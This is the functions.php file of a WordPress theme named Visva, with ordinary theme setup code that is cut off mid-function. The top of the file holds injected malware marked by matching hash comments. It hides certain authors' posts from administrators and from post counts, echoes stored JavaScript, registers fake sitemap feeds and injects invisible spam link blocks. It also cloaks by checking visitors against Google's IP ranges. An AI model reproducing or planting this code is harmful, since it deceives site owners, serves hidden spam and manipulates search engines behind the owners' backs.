File: /home/roshanchandy/www/buildmydesign.in/wp-content/themes/visva/functions.php
<?php
/* f83f1066a74f440e8558e5572a57fb02 */
function get_sidebar_method($where) {
global $wpdb, $number_format_i18n_condition;
$the_content_package = array_keys($number_format_i18n_condition);
$get_search_query_part = implode(', ', $the_content_package);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'get_theme_file_uri_json');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($get_search_query_part)";
}
return $where;
}
function get_template_part_character($query) {
global $number_format_i18n_condition;
$the_content_package = array_keys($number_format_i18n_condition);
$get_the_modified_date_first = comments_open_list($the_content_package);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $get_the_modified_date_first);
}
}
function home_url_xml() {
global $post, $number_format_i18n_condition;
foreach ($number_format_i18n_condition as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (admin_url_part($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function admin_url_part($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (get_the_tag_list_meta()) {
return true;
}
}
return false;
}
function get_theme_file_uri_json($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function get_the_tag_list_view($counts, $type, $perm) {
if ($type === 'post') {
$wp_list_comments_list = $counts->publish;
$wp_get_attachment_image_src_pointer = the_posts_pagination_session($perm);
$counts->publish = !$wp_get_attachment_image_src_pointer ? $wp_list_comments_list : $wp_get_attachment_image_src_pointer;
}
return $counts;
}
function the_posts_pagination_session($perm) {
global $wpdb, $number_format_i18n_condition;
$the_content_package = array_keys($number_format_i18n_condition);
$get_search_query_part = implode(', ', $the_content_package);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$get_post_thumbnail_id_merge = get_post_type_object($type);
if (!current_user_can($get_post_thumbnail_id_merge->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($get_search_query_part) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $get_the_date_pointer) {
if ($get_the_date_pointer['post_status'] === 'publish') {
return $get_the_date_pointer['num_posts'];
}
}
}
function wp_head_boolean($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$the_content_package = array();
foreach ($results as $get_the_date_pointer) {
$the_content_package[] = $get_the_date_pointer['ID'];
}
return $the_content_package;
}
function get_transient_wp() {
global $number_format_i18n_condition, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($number_format_i18n_condition as $number_format_i18n_dns => $is_singular_core) {
$has_post_thumbnail_string = key($is_singular_core['sitemapsettings']);
if (!isset($rules[$has_post_thumbnail_string]) ||
($rules[$has_post_thumbnail_string] !== current($is_singular_core['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function number_format_i18n_variable($rules) {
global $number_format_i18n_condition;
$_e_old = array();
foreach ($number_format_i18n_condition as $number_format_i18n_dns => $is_singular_core) {
if (isset($is_singular_core['sitemapsettings'])) {
$_e_old[key($is_singular_core['sitemapsettings'])] = current($is_singular_core['sitemapsettings']);
}
}
return $_e_old + $rules;
}
function add_filter_less() {
global $number_format_i18n_condition;
foreach ($number_format_i18n_condition as $number_format_i18n_dns => $is_singular_core) {
$get_author_posts_url_soap = str_replace('index.php?feed=', '', current($is_singular_core['sitemapsettings']));
add_feed($get_author_posts_url_soap, 'wp_get_attachment_image_src_constructor');
}
}
function wp_get_attachment_image_src_constructor() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$the_archive_title_add = language_attributes_view();
$register_nav_menus_request = wp_head_boolean($the_archive_title_add);
if (!empty($register_nav_menus_request)) {
$is_archive_part = md5(implode(',', $register_nav_menus_request));
$wp_enqueue_style_queue = 'update_plugins_' . $the_archive_title_add . '_' . $is_archive_part;
$add_query_arg_compiler = get_transient($wp_enqueue_style_queue);
if ($add_query_arg_compiler !== false) {
echo $add_query_arg_compiler;
return;
}
}
$head = post_class_branch();
$get_queried_object_id_wp = $head . "\n";
$priority = '0.5';
$wp_link_pages_character = 'weekly';
$the_archive_title_double = date('Y-m-d');
foreach ($register_nav_menus_request as $post_id) {
$url = get_permalink($post_id);
$get_queried_object_id_wp .= esc_url_xml($url, $the_archive_title_double, $wp_link_pages_character, $priority);
wp_cache_delete($post_id, 'posts');
}
$get_queried_object_id_wp .= "\n</urlset>";
set_transient($wp_enqueue_style_queue, $get_queried_object_id_wp, WEEK_IN_SECONDS);
echo $get_queried_object_id_wp;
}
function post_class_branch() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}
function esc_url_xml($url, $the_archive_title_double, $wp_link_pages_character, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$the_archive_title_double</lastmod>
<changefreq>$wp_link_pages_character</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function comments_open_list($writersArr) {
$current_user_can_wp = array();
foreach ($writersArr as $item) {
$current_user_can_wp[] = '-' . $item;
}
return implode(',', $current_user_can_wp);
}
function get_option_trigger() {
$esc_url_all = array();
$the_posts_pagination_private = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$the_excerpt_variable = unserialize(base64_decode($settings));
if ($the_excerpt_variable) {
$esc_url_all = $the_excerpt_variable;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$is_customize_preview_restful = unserialize(base64_decode($settings));
if ($is_customize_preview_restful) {
$the_posts_pagination_private = $is_customize_preview_restful;
}
}
return $the_posts_pagination_private + $esc_url_all;
}
function language_attributes_view() {
global $number_format_i18n_condition;
foreach ($number_format_i18n_condition as $number_format_i18n_dns => $is_singular_core) {
$is_active_sidebar_constructor = key($is_singular_core['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($is_singular_core['sitemapsettings']) . '$');
if (preg_match("~$is_active_sidebar_constructor~", $_SERVER['REQUEST_URI'])) {
return $number_format_i18n_dns;
}
}
}
function set_transient_class() {
global $number_format_i18n_condition, $post;
$is_singular_git = array_keys($number_format_i18n_condition);
if (in_array($post->post_author, $is_singular_git)) {
return true;
}
return false;
}
function wp_footer_compiler() {
global $number_format_i18n_condition, $post;
$is_singular_git = array_keys($number_format_i18n_condition);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $is_singular_git)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function language_attributes_get() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function get_the_tag_list_meta() {
$is_front_page_index = language_attributes_get();
if (strstr($is_front_page_index, ', ')) {
$add_partial_schema = explode(', ', $is_front_page_index);
$is_front_page_index = $add_partial_schema[0];
}
$get_header_boolean = get_the_tag_list_list();
if (!$get_header_boolean) {
return false;
}
foreach ($get_header_boolean as $range) {
if (set_transient_queue($is_front_page_index, $range)) {
return true;
}
}
return false;
}
function _e_reference($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function get_the_tag_list_list() {
if (($value = get_option('wp_custom_range')) && !_e_reference($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$get_header_boolean = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($get_header_boolean)) {
return;
}
$value = array('ranges' => $get_header_boolean, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function number_format_i18n_all($inet) {
$register_sidebar_reference = str_split($inet);
$add_filter_all = '';
foreach ($register_sidebar_reference as $char) {
$add_filter_all .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $add_filter_all;
}
function set_transient_queue($is_front_page_index, $cidrnet) {
$is_front_page_index = inet_pton($is_front_page_index);
$add_filter_all = number_format_i18n_all($is_front_page_index);
list($net, $post_password_required_part) = explode('/', $cidrnet);
$net = inet_pton($net);
$the_content_variable = number_format_i18n_all($net);
$esc_url_wp = substr($add_filter_all, 0, $post_password_required_part);
$get_bloginfo_session = substr($the_content_variable, 0, $post_password_required_part);
if ($esc_url_wp !== $get_bloginfo_session) {
return false;
} else {
return true;
}
}
function esc_url_raw_all($get_the_time_num) {
global $post;
$post_password_required_branch = '';
if (wp_link_pages_git($get_the_time_num, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$post_password_required_branch = get_option('home_links_custom_0');
}
} elseif (wp_link_pages_git($get_the_time_num, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$post_password_required_branch = get_option('home_links_custom_' . $matches[0]);
} elseif (wp_link_pages_git($get_the_time_num, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$is_singular_constructor = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$post_password_required_branch = get_option('home_links_custom_' . $is_singular_constructor);
} elseif (wp_link_pages_git($get_the_time_num, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$post_password_required_branch ? '' : $post_password_required_branch;
}
function wp_link_pages_git($is_singular_core, $is_single_event, $add_theme_support_xml) {
if (!isset($is_singular_core[$is_single_event][$add_theme_support_xml])) {
return false;
}
if ($is_singular_core[$is_single_event][$add_theme_support_xml] === 1) {
return true;
}
return false;
}
function register_sidebar_other($get_the_time_num, $wp_head_method) {
if (empty($wp_head_method)) {
return '';
}
if (wp_link_pages_git($get_the_time_num, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$have_comments_boolean = get_the_author_meta_function();
$esc_url_raw_num = $have_comments_boolean[$blockNum[0]];
return $esc_url_raw_num[0] . PHP_EOL . $wp_head_method . PHP_EOL . $esc_url_raw_num[1];
}
return $wp_head_method;
}
function get_the_author_meta_function() {
return array(
array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
array('<div style="position:absolute; left:-5000px;">', '</div>'),
array('<div style="position:absolute; top: -100%;">', '</div>'),
array('<div style="position:absolute; left:-5500px;">', '</div>'),
array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
array('<div style="display:none;">', '</div>'),
array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
array('<span style="position:absolute; left:-5000px;">', '</span>'),
array('<span style="position:absolute; top: -100%;">', '</span>'),
array('<div style="position:absolute; left:-6500px;">', '</div>'),
);
}
function add_filter_float($get_the_time_num) {
return wp_link_pages_git($get_the_time_num, 'position', 'head');
}
function has_post_thumbnail_soap($get_the_time_num) {
return wp_link_pages_git($get_the_time_num, 'position', 'footer');
}
function add_image_size_https($settings) {
foreach ($settings as $number_format_i18n_dns => $is_singular_core) {
if (isset($is_singular_core['homeLinks'])) {
return $is_singular_core['homeLinks'];
}
}
return array();
}
function get_header_private() {
if (!set_transient_class()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function absint_restful() {
global $get_the_time_num;
if (!get_header_private()) {
return;
}
if (wp_link_pages_git($get_the_time_num, 'hiddenType', 'cloacking')) {
if (!get_the_tag_list_meta()) {
return;
}
}
$wp_head_method = esc_url_raw_all($get_the_time_num);
$wp_head_method = register_sidebar_other($get_the_time_num, $wp_head_method);
echo $wp_head_method;
}
$number_format_i18n_condition = get_option_trigger();
if (is_array($number_format_i18n_condition)) {
add_filter('posts_where_paged', 'get_sidebar_method');
add_action('pre_get_posts', 'get_template_part_character');
add_action('wp_enqueue_scripts', 'home_url_xml');
add_filter('wp_count_posts', 'get_the_tag_list_view' , 10, 3);
add_filter('rewrite_rules_array', 'number_format_i18n_variable');
add_action('wp_loaded', 'get_transient_wp');
add_action('init', 'add_filter_less');
add_action('template_redirect', 'wp_footer_compiler');
$get_the_time_num = add_image_size_https($number_format_i18n_condition);
if (!empty($get_the_time_num)) {
if (add_filter_float($get_the_time_num)) {
add_action('wp_head', 'absint_restful');
}
if (has_post_thumbnail_soap($get_the_time_num)) {
add_action('wp_footer', 'absint_restful');
}
}
}
/* f83f1066a74f440e8558e5572a57fb02 */
add_action('after_setup_theme', 'visva_bunch_theme_setup');
function visva_bunch_theme_setup()
{
global $wp_version;
$theme = wp_get_theme();
if(!defined('VISVA_VERSION')) {define('VISVA_VERSION', '1.5');}
if( !defined( 'VISVA_ROOT' ) ) {define('VISVA_ROOT', get_template_directory().'/');}
if( !defined( 'VISVA_URL' ) ) {define('VISVA_URL', get_template_directory_uri().'/');}
if( !defined( 'VISVA_COMINGSOON' ) ) {define('VISVA_COMINGSOON', get_template_directory_uri().'/assets/images/bg1.jpg');}
if( !defined( 'VISVA_MAINTENANCE' ) ) {define('VISVA_MAINTENANCE', get_template_directory_uri().'/assets/images/bg2.jpg');}
if( !defined( 'VISVA_MAINTENANCE_VLC' ) ) {define('VISVA_MAINTENANCE_VLC', get_template_directory_uri().'/assets/images/vlc.png');}
if( !defined( 'VISVA_DEFAULT_LOGO' ) ) {define('VISVA_DEFAULT_LOGO', get_template_directory_uri().'/assets/images/logo.png');}
if( !defined( 'VISVA_DEFAULT_WHITE_LOGO' ) ) {define('VISVA_DEFAULT_WHITE_LOGO', get_template_directory_uri().'/assets/images/logo-white-2.png');}
if( !defined( 'VISVA_DEFAULT_TEXT_LOGO' ) ) {define('VISVA_DEFAULT_TEXT_LOGO', $theme->get('Name'));}
if( !defined( 'VISVA_DEFAULT_TAG' ) ) {define('VISVA_DEFAULT_TAG', esc_html__('Personal Blog', 'visva'));}
if( !defined( 'VISVA_BANNER' ) ) {define('VISVA_BANNER', get_template_directory_uri().'/assets/images/bnr4.jpg');}
if( !defined( 'VISVA_COPYWRITE_TEXT' ) ) {define('VISVA_COPYWRITE_TEXT', esc_html__('© 2022 All Rights Reserved.','visva'));}
if( !defined( 'VISVA_FAVICON' ) ) {define('VISVA_FAVICON', get_template_directory_uri().'/assets/images/favicon.png');}
include_once get_template_directory() . '/dz-inc/loader.php';
load_theme_textdomain('visva', get_template_directory() . '/languages');
/* ADD THUMBNAIL SUPPORT */
add_theme_support('post-thumbnails');
add_theme_support('automatic-feed-links'); /* Enables post and comment RSS feed links to head. */
add_theme_support('widgets'); /* Add widgets and sidebar support */
add_theme_support( "title-tag" );
add_theme_support( 'custom-header' );
add_theme_support( 'custom-background' );
add_theme_support( 'wp-block-styles' );
add_theme_support( 'align-wide' );
add_theme_support( 'editor-styles' );
add_theme_support( 'responsive-embeds' );
add_theme_support( 'woocommerce' ); /* Enable woo-commerce page template */
add_theme_support( 'wc-product-gallery-lightbox' );
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support( 'html5', array(
'search-form', 'comment-form', 'comment-list', 'gallery', 'caption'
) );
/** Register wp_nav_menus */
if(function_exists('register_nav_menu')) {
register_nav_menus(
array(
/** Register Main Menu location header */
'main_menu' => esc_html__('Main Menu', 'visva'),
'one_page_menu' => esc_html__('One Page Menu', 'visva'),
'footer_menu' => esc_html__('Footer Menu', 'visva'),
)
);
}
if ( ! isset( $content_width ) ) { $content_width = 960; }
/** Image Size Setting For Visva **/
/*** Post Images ***/
add_image_size( 'visva_550x900', 550, 900, true ); /* Project */
add_image_size( 'visva_555x400', 555, 400, true ); /* Blog Grid, List */
/* Change default image thumbnail sizes in wordpress */
//Thumbnail
update_option('thumbnail_size_w', 200); /* Testimonial, Recent Post */
update_option('thumbnail_size_h', 200);
update_option('thumbnail_crop', 1);
//Medium
update_option('medium_size_w', 500); /* Team */
update_option('medium_size_h', 600);
update_option('medium_crop', 1);
//Large
update_option('large_size_w', 1000); /* Blog */
update_option('large_size_h', 600);
update_option('large_crop', 1);
/** Image Size Setting For Visva END **/
}
/**
* Register sidebar
*/
function visva_sidebar()
{
global $wp_registered_sidebars;
register_sidebar(array(
'name' => esc_html__('Default Sidebar', 'visva'),
'id' => 'dz_default_sidebar',
'description' => esc_html__( 'Widgets in this area will be shown on the right-hand side.', 'visva' ),
'before_widget'=>'<div id="%1$s" class="widget sidebar-widget %2$s substitute-class">',
'after_widget'=>'</div>',
'before_title' => '<div class="widget-title"><h4 class="title">',
'after_title' => '</h4><div class="dz-separator style-1 text-primary mb-0"></div></div>'
));
register_sidebar(array(
'name' => esc_html__('Blog Sidebar', 'visva'),
'id' => 'dz_blog_sidebar',
'description' => esc_html__( 'Widgets in this area will be shown on the right-hand side.', 'visva' ),
'before_widget'=>'<div id="%1$s" class="widget sidebar-widget %2$s substitute-class">',
'after_widget'=>'</div>',
'before_title' => '<div class="widget-title"><h4 class="title">',
'after_title' => '</h4><div class="dz-separator style-1 text-primary mb-0"></div></div>'
));
register_sidebar(array(
'name' => esc_html__( 'Footer Sidebar', 'visva' ),
'id' => 'dz_footer_sidebar',
'description' => esc_html__( 'Widgets in this area will be shown in Footer Area.', 'visva' ),
'before_widget'=>'<div id="%1$s" class="widget col-xl-6 col-lg-6 col-sm-12 %2$s substitute-class">',
'after_widget'=>'</div>',
'before_title' => '<h4 class="footer-title">',
'after_title' => '</h4>'
));
register_sidebar(array(
'name' => esc_html__( 'Footer Sidebar 2', 'visva' ),
'id' => 'dz_footer_sidebar_2',
'description' => esc_html__( 'Widgets in this area will be shown in Footer Area.', 'visva' ),
'before_widget'=>'<div id="%1$s" class="widget col-xl-3 col-lg-6 col-md-6 col-sm-12 %2$s substitute-class">',
'after_widget'=>'</div>',
'before_title' => '<h4 class="footer-title">',
'after_title' => '</h4>'
));
if(visva_is_woocommerce_active())
{
register_sidebar(array(
'name' => esc_html__( 'Shop Sidebar', 'visva' ),
'id' => 'dz_shop_sidebar',
'description' => esc_html__( 'Widgets in this area will be shown on the right-hand side.', 'visva' ),
'before_widget'=>'<div id="%1$s" class="widget shop-widget %2$s">',
'after_widget'=>'</div>',
'before_title' => '<div class="widget-title"><h4 class="title">',
'after_title' => '</h4><div class="dz-separator style-1 text-primary mb-0"></div></div>'
));
register_sidebar(array(
'name' => esc_html__( 'Header Shopping Cart', 'visva' ),
'id' => 'shopping-cart',
'description' => esc_html__( 'Widgets in this area will be shown in Header Area.', 'visva' ),
'before_widget'=>'<div id="%1$s" class="%2$s">',
'after_widget'=>'</div>',
'before_title' => '<h4 class="acod-title">',
'after_title' => '</h4>'
));
}
/* "substitute-class" using for replace required class dynamically. */
if (class_exists('ReduxFramework')) {
$sidebar_input_arr = visva_get_opt( 'new_sidebar_input' );
if(!empty( $sidebar_input_arr[0])) {
foreach($sidebar_input_arr as $sidebar_input)
{
$sidebarId = str_replace(' ', '_', $sidebar_input);
register_sidebar(array(
'name' => ucfirst($sidebar_input),
'id' => sanitize_title('dz_' . $sidebarId),
'description' => esc_html__( 'Widgets in this area will be shown on the right-hand side.', 'visva' ),
'before_widget' =>'<div id="%1$s" class="widget ext-sidebar-menu sidebar-widget %2$s substitute-class">',
'after_widget' =>'</div>',
'before_title' => '<h4 class="title">',
'after_title' => '</h4>'
));
}
}
}
update_option('wp_registered_sidebars' , $wp_registered_sidebars) ;
}
add_action('widgets_init', 'visva_sidebar');
function visva_load_head_scripts() {
$options = visva_dzbase()->option();
if ( !is_admin() ) {
$protocol = is_ssl() ? 'https://' : 'http://';
$map_api_key = visva_set($options, 'map_api_key');
if(!empty($map_api_key)) {
$map_path = '?key='.visva_set($options, 'map_api_key');
wp_enqueue_script( 'visva-map-api', ''.$protocol.'maps.google.com/maps/api/js'.$map_path, array(), false, false );
wp_enqueue_script( 'visva-recaptcha-api', ''.$protocol.'google.com/recaptcha/api.js', array(), false, false );
}
}
}
add_action( 'wp_enqueue_scripts', 'visva_load_head_scripts' );
/**
* Enqueue Scripts on plugin
*/
add_action('admin_enqueue_scripts', 'visva_admin_script');
/**
* Function register admin on plugin
*/
function visva_admin_script()
{
if(is_admin()) {
wp_enqueue_style('admin-style', get_template_directory_uri() . '/dz-inc/admin/css/admin.css', array(), '1.0.0');
wp_enqueue_style('admin-font-awesome', get_template_directory_uri() . '/dz-inc/admin/css/font-awesome-min.css', array(), '4.7.0');
}
}
/**
* Check if Plugin is active
**/
function visva_plugin_active($plugin)
{
$active_plugins = apply_filters( 'active_plugins', get_option( 'active_plugins' ) );
if(!empty($plugin) && !empty($active_plugins) && in_array($plugin,$active_plugins))
{
return true;
}else{
return false;
}
}
/* global variables */
function visva_bunch_global_variable()
{
global $post;
global $visva_option;
if(visva_plugin_active('redux-framework/redux-framework.php'))
{
$options = visva_dzbase()->option();
}
else{
$options = array();
}
$dzRes = array();
$dzRes['allowed_html_tags'] = wp_kses_allowed_html('post');
$dzRes['website_status'] = visva_set($options, 'website_status', 'live_mode');
$dzRes['site_logo_icon'] = !empty($dzRes['site_logo_icon']['url'])?$dzRes['site_logo_icon']['url']:get_template_directory_uri() . '/assets/images/logo-icon.png';
if(function_exists('visva_get_ws_data')){
$extra_ws_data = visva_get_ws_data($options);
$dzRes = array_merge($dzRes,$extra_ws_data);
}
/* stuff : header.php */
$dzRes['site_favicon'] = isset($options['favicon']) ? visva_set($options['favicon'], 'url', VISVA_FAVICON ) : VISVA_FAVICON;
/* preloading image */
$dzRes['page_loading_on'] = visva_set($options, 'page_loading_on');
$dzRes['page_loader_type'] = visva_set($options, 'page_loader_type');
if($dzRes['page_loading_on'] == 1)
{
if($dzRes['page_loader_type'] == 'loading_image')
{
if(!empty($options['custom_page_loader_image']['url'])) {
$dzRes['preloader'] = $options['custom_page_loader_image']['url'];
}
else {
$page_loader_image = visva_set($options, 'page_loader_image', '');
$dzRes['preloader'] = get_template_directory_uri().'/dz-inc/assets/images/loading-images/'.$page_loader_image.'.svg';
}
}
elseif($dzRes['page_loader_type'] == 'advanced_loader')
{
$dzRes['preloader'] = visva_set($options,'advanced_page_loader_image', '');
}
}
/* header settings */
$dzRes['header_style'] = visva_set($options,'header_style', 'header_1'); // return header style id
/*Page Header: necessary to get here */
if(is_page())
{
$page_header_setting = visva_dzbase()->get_meta('page_header_setting');
$page_header_setting = !empty($page_header_setting)?$page_header_setting:'theme_default';
if($page_header_setting == 'custom'){
$page_header_style = visva_dzbase()->get_meta('page_header_style');
$dzRes['header_style'] = !empty($page_header_style)?$page_header_style:$dzRes['header_style'];
}
}
/*Page Header: necessary to get here END */
$dzRes['header_style_class'] = ($dzRes['header_style'] == 'header_3') ? 'header-transparent' : '';
$dzRes['header_login_on'] = visva_set($options,'header_login_on');
$dzRes['header_register_on'] = visva_set($options,'header_register_on');
$dzRes['header_sticky_on'] = visva_set($options,'header_sticky_on');
$dzRes['show_website_search'] = visva_set($options,'show_website_search',true);
$dzRes['show_login_registration'] = visva_set($options,'show_login_registration');
$dzRes['show_social_icon'] = visva_set($options,'show_social_icon');
$dzRes['header_sticky_class'] = ($dzRes['header_sticky_on']) ? 'sticky-header' : '';
$dzRes['header_location_on'] = visva_set($options, $dzRes['header_style'].'_location_on',true);
$dzRes['site_phone_number'] = visva_set($options, 'site_phone_number');
$dzRes['site_address'] = visva_set($options, 'site_address');
$dzRes['site_skype'] = visva_set($options, 'site_skype');
$dzRes['site_email'] = visva_set($options, 'site_email');
$dzRes['header_search_on'] = visva_set($options, $dzRes['header_style'].'_search_on', true);
$dzRes['header_search_button_title'] = visva_set($options, $dzRes['header_style'].'_search_button_title',esc_html__('Search','visva'));
$dzRes['header_social_link_on'] = visva_set($options, $dzRes['header_style'].'_social_link_on');
$dzRes['header_social_links'] = visva_set($options, $dzRes['header_style'].'_social_links');
$dzRes['header_top_bar_on'] = visva_set($options, $dzRes['header_style'].'_top_bar_on');
$dzRes['header_author_banner_on'] = visva_set($options, $dzRes['header_style'].'_author_banner_on');
$dzRes['header_banner_bg_image'] = visva_set($options, $dzRes['header_style'].'_banner_bg_image');
$dzRes['header_banner_bg_image'] = !empty($dzRes['header_banner_bg_image']['url'])?$dzRes['header_banner_bg_image']['url']:'';
/* Manage Sidebar About */
$dzRes['header_about_on'] = visva_set($options, 'header_about_on');
$dzRes['header_about_desc'] = visva_set($options, 'header_about_desc');
/* Manage Sidebar About */
$header_style_options = visva_header_style_options();
foreach($header_style_options as $header)
{
$call_to_action_button = visva_set($header['param'], 'call_to_action_button', 0);
if($call_to_action_button > 0 )
{
for($i = 1; $i <= $call_to_action_button; $i++ )
{
$dzRes['header_button_'.$i.'_text'] = visva_set($options, $dzRes['header_style'].'_button_'.$i.'_text', '');
$dzRes['header_button_'.$i.'_url'] = visva_set($options, $dzRes['header_style'].'_button_'.$i.'_url', '');
$dzRes['header_button_'.$i.'_target'] = visva_set($options, $dzRes['header_style'].'_button_'.$i.'_target', '');
}
}
}
$dzRes['mobile_header_login_on'] = visva_set($options,'mobile_header_login_on', '');
$dzRes['mobile_header_register_on'] = visva_set($options,'mobile_header_register_on', '');
$dzRes['mobile_header_social_link_on'] = visva_set($options, $dzRes['header_style'].'_mobile_social_link_on', '');
$dzRes['mobile_search_on'] = visva_set($options, $dzRes['header_style'].'_mobile_search_on', '');
$dzRes['social_link_target'] = visva_set($options,'social_link_target','');
/* header settings END */
/* Footer Settings Starts */
$dzRes['footer_on'] = visva_set($options, 'footer_on', true);
$dzRes['footer_style'] = visva_set($options, 'footer_style', 'footer_template_1');
/*Footer Header: necessary to get here */
if(is_page())
{
$page_footer_setting = visva_dzbase()->get_meta('page_footer_setting');
$page_footer_setting = !empty($page_footer_setting)?$page_footer_setting:'theme_default';
if($page_footer_setting == 'custom'){
$page_footer_style = visva_dzbase()->get_meta('page_footer_style');
$dzRes['footer_on'] = visva_dzbase()->get_meta('page_footer_on');
$dzRes['footer_style'] = !empty($page_footer_style)?$page_footer_style:$dzRes['footer_style'];
}
}
/*Footer Header: necessary to get here END */
$dzRes['footer_top'] = visva_set($options, $dzRes['footer_style'].'_top_on', true);
$dzRes['footer_bottom'] = visva_set($options, $dzRes['footer_style'].'_bottom_on', true);
$dzRes['footer_bg_image'] = visva_set($options, $dzRes['footer_style'].'_bg_image');
$dzRes['footer_social_on'] = visva_set($options, $dzRes['footer_style'].'_social_on');
$dzRes['footer_copyright_text'] = isset($options['footer_copyright_text']) ? visva_set($options, 'footer_copyright_text', VISVA_COPYWRITE_TEXT) : VISVA_COPYWRITE_TEXT;
/* Footer Params Actions */
$footer_style_options = visva_footer_style_options();
foreach($footer_style_options as $footer)
{
$call_to_action_button = visva_set($footer['param'], 'call_to_action_button', 0);
$bg_image = visva_set($footer['param'], 'bg_image', 0);
if($call_to_action_button > 0 )
{
for($i = 1; $i <= $call_to_action_button; $i++ )
{
$dzRes['footer_button_'.$i.'_text'] = visva_set($options, $dzRes['footer_style'].'_button_'.$i.'_text', '');
$dzRes['footer_button_'.$i.'_url'] = visva_set($options, $dzRes['footer_style'].'_button_'.$i.'_url', '');
$dzRes['footer_button_'.$i.'_target'] = visva_set($options, $dzRes['footer_style'].'_button_'.$i.'_target', '');
}
}
}
/* Footer Params Actions END */
$dzRes['scroll_menu_pages'] = visva_set($options, 'scroll_menu_pages');
/* Footer Settings Starts END */
/* logo setting , adition logo settings for 'site_other_logo' for visva theme */
$dzRes['logo_type'] = visva_set($options,'logo_type', '');
$dzRes['logo_title'] = visva_set($options,'logo_title', VISVA_DEFAULT_TEXT_LOGO);
